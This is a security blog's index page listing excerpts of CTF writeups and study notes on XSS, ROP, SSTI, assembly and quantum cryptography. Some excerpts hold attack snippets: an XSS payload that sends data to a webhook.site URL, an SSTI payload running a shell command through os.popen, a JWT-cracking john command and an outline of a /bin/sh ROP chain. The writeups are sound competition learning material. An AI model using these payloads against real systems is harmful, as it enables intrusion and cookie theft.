堇姬 Naup's Blog

2024-04-27 2.6k words 14 mins

Intigriti-August-XSS-challenge

Intigriti’s August XSS challenge Author:堇姬Naup 題目https://challenge-0823.intigriti.io/有一個計算機可以輸入東西，只要有執行alert(document.domain)就可以過了 Source code1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283

2024-04-25 479 words 2 mins

Assembly-x86

組合語言 Author:堇姬電腦底層架構與程式執行相關硬體 CPU 實際運算硬體，配有暫存器，儲存運算資料 RAM 記憶體指令集架構先設計好指令集架構再設計電路。常見: x86/x86-64 ARM MIPS 大部分用的是intel x86/x86-64架構 CPU暫存器隨設計而改變用途名稱意思 rax accumulator rbx base rcx count rdx data 固定用途名稱意思 rsi source index rdi destination index rbp base poi

2024-04-25 306 words 1 min

ROP-chall-1

ROP-chall Author:堇姬題目來源ICED的pwn題目https://ctf.nicewhite.xyz/ 確認保護看到有開Stack canary，但溢出後卻沒有報stack canary的錯誤，所以應該是沒開。另外他有開NX，所以沒辦法寫shellcode 分析ASM有gets 可以BOF，不過沒有其他function可以return過去，所以應該是要ROP 堆ROP execve(‘bin/sh’) 暫存器值 rax 0x3b rdi 要執行的參數值(/bin/sh) rsi argv(這裡=0) rdx

2024-03-31 28 words 1 min

Lucas-Sequence

Lucas Sequence 盧卡斯數列 Author:堇姬先看這個連結(還在處理LaTeX問題QQ)https://hackmd.io/@naup96321/B1Y7vqUyC

2024-03-30 4.5k words 25 mins

VishwaCTF-2024-Writeup

VishwaCTF 2024 writeup Team: CakeisTheFake(單人)Rank: 31/1039Author: Naup堇姬 MiscWho am I? WebSave The City1234567DESCRIPTIONThe RAW Has Got An Input That ISIS Has Planted a Bomb Somewhere In The Pune! Fortunetly, RAW Has Infiltratrated The Internet Activity of One Suspect And They Found This Lin

2024-03-10 1.2k words 4 mins

AIS3-EOF-2024-Final

Author : 堇姬NaupTeam : 不屬於Kirito的星爆氣流斬Rank : 4 (差一點第三，可惜)Teammates : Curious、Itiscaleb、Aukro、ShallowFeather、Chumy、TWNWAKing、Vincent(感恩隊友們一起努力了兩天orz) Final scoreboard 賽制這次總共有163 round，每round是五分鐘，用積分去以百分比的方式去算分，這次總共有三種不同的類型。 Attack & Defense hahamut casino KoH rush-p0pp3r 123456789101112131415

2024-03-10 3.4k words 19 mins

pearlCTF-2024-WP

Pearl CTF 2024- CakeisTheFake - Writeup Team : CakeisTheFakeRank : 16/605 Weblearn HTTP題目是一個web service，會把使用者丟進去的get參數在後端處理後變封包丟出來：然後有個/flag的路徑會去驗證你的cookie，是的話才可以拿到flag。標準的XSS：payload 123HTTP/1.1 200 OK<script>fetch("http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=&

2024-02-29 5.9k words 36 mins

量子密碼學(QuantumCTF初探與解題)

Author:堇姬Naup 共筆https://hackmd.io/@3C-Tim/HJLfSR_t6/edit 題目writeup(註解打得很詳細了，我就不多說了)AIS3前測12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667import randomfrom math import sqrt#將binary string轉成十進制的functiondef BinaryToDecimal(b

2024-02-29 2.9k words 15 mins

AIS3 EOF 2024 Qual Writeup

Author:堇姬NaupRank : 42 MiscWelcome簽到 DC就有 reverseFlag Generator題目會把這坨Block寫進flag.exe(原本看了一陣子，不是很理解她在幹嘛www，後來我突然看懂了那一坨東西我根本不用理解她在幹嘛) 直接用x64gdb抓參數，看他把甚麼寫進去就行了把寫了甚麼截下來，然後包回.exe就行了 stateful幸好我都使用工人智慧把式子抓出來有Correct!!!跟WRONG!!!，直接去state_machine()看dest怎麼產生。你會看到50個state，他會經過一堆運算來一個一個呼叫，所以要先搞清楚他到底怎麼呼叫，可

2024-02-29 1.2k words 5 mins

CGGC 2024 Qual Writeup

CGGC 2024 Qual writeup Team: 芙莉熊Rank: 9th Webbossti第一關是用jwt sign的登入頁面，把密鑰用john暴一下並修改參數登入就好：john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256 登入後的畫面上方有個7*7，馬上想到SSTI，結合前面JWT帶有的參數hack就可以植入payload:{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}&#1